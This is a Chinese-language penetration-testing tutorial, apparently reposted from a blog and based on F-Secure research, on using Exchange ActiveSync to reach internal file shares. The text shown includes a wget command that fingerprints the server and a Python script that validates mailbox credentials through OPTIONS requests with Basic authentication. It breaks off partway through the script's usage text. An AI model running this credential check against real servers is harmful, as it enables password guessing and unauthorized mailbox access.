渗透|渗透技巧——通过Exchange ActiveSync访问内部文件共享


https://labs.f-secure.com/archive/accessing-internal-fileshares-through-exchange-activesync/
本文将要基于他们的研究 , 介绍通过Exchange ActiveSync访问内部文件共享的细节 , 记录研究心得 。
0x01 简介
本文将要介绍以下内容:
·通过Exchange ActiveSync验证用户邮箱口令
·Exchange ActiveSync开源代码测试
·通过Exchange ActiveSync访问内部文件共享的细节
·防御检测
0x02 基础知识
Exchange ActiveSync是一种Microsoft Exchange同步协议 , 该协议经过优化 , 以适用于高延迟和低宽带网络 。
该协议基于HTTP和XML , 使移动设备可以访问其电子邮件、日历、联系人和任务 , 并且在脱机工作时仍可以继续访问这些信息 。
简单理解 , 计算机用户通过owa(Outlook Web Access)访问邮件资源 , 手机用户通过eas(Exchange ActiveSync)访问邮件资源 。
0x03 通过Exchange ActiveSync验证用户邮箱口令
默认对应的URL:/Microsoft-Server-ActiveSync 。
可以直接通过浏览器进行访问 , 提示输入用户名和口令 。
输入正确的用户名和口令后 , 返回内容如下图:
渗透|渗透技巧——通过Exchange ActiveSync访问内部文件共享
本文插图

如果没有凭据 , 可直接通过wget命令获得服务器信息 , 命令实例:
wget https://192.168.1.1/Microsoft-Server-ActiveSync --no-check-certificate --debug

返回结果如下图:
渗透|渗透技巧——通过Exchange ActiveSync访问内部文件共享
本文插图
【渗透|渗透技巧——通过Exchange ActiveSync访问内部文件共享】

为了能够通过脚本实现口令验证 , 这里需要使用OPTIONS方法 , 如果凭据有效 , 返回状态码200 。
header部分加入HTTP基本认证(Basic Authentication) , 格式为Authorization: Basic &lt string &gt
&lt string &gt为"username:password" 用base64编码后的字符串 。
Python实现代码如下:
import requests
import base64
import sys
import warnings
warnings.filterwarnings("ignore")
def test_options_https(ip,username,password):
try:
credential = base64.b64encode(username+":"+password)
url = "https://" + ip + "/Microsoft-Server-ActiveSync"
headers = {
"User-Agent": "Mozilla/5.0 (X11 Linux x86_64 rv:52.0) Gecko/20100101 Firefox/52.0",
"Accept": "text/html,application/xhtml+xml,application/xmlq=0.9,*/*q=0.8",
"Accept-Language": "en-US,enq=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/vnd.ms-sync.wbxml",
"Authorization": "Basic "+credential
}
r = requests.options(url, headers = headers, verify = False)
if r.status_code ==200:
print("[+] Valid: %s %s"%(username,password))
#print(r.headers)
else:
print("[!] Authentication failed")
except Exception as e:
print("[!]Error:%s"%e)
if __name__ == "__main__":

if len(sys.argv)!=4:
print("[!]Wrong parameter")
print("easCheck")
print("Use to check the valid credential of eas(Exchange Server ActiveSync)")
print("Usage:")
print("%s "%(sys.argv[0]))
print("Eg.")


推荐阅读